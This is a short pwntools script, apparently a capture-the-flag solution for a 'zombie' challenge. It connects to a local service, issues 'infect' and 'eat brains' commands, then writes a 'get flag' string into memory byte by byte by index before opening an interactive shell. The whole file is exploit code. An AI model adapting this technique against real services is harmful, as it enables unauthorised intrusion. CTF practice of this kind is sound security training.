from pwn import *

# p = process("target/release/zombie")
p = remote("localhost", 1337)

p.sendline("infect")
p.sendline("32")

p.sendline("eat brains                     ")

def brains(string):
	counter = 0
	for c in string:
		p.sendline(str(counter))
		p.sendline(str(ord(c)))
		counter += 1
	p.sendline("done")

brains("get flag  ")

p.interactive()
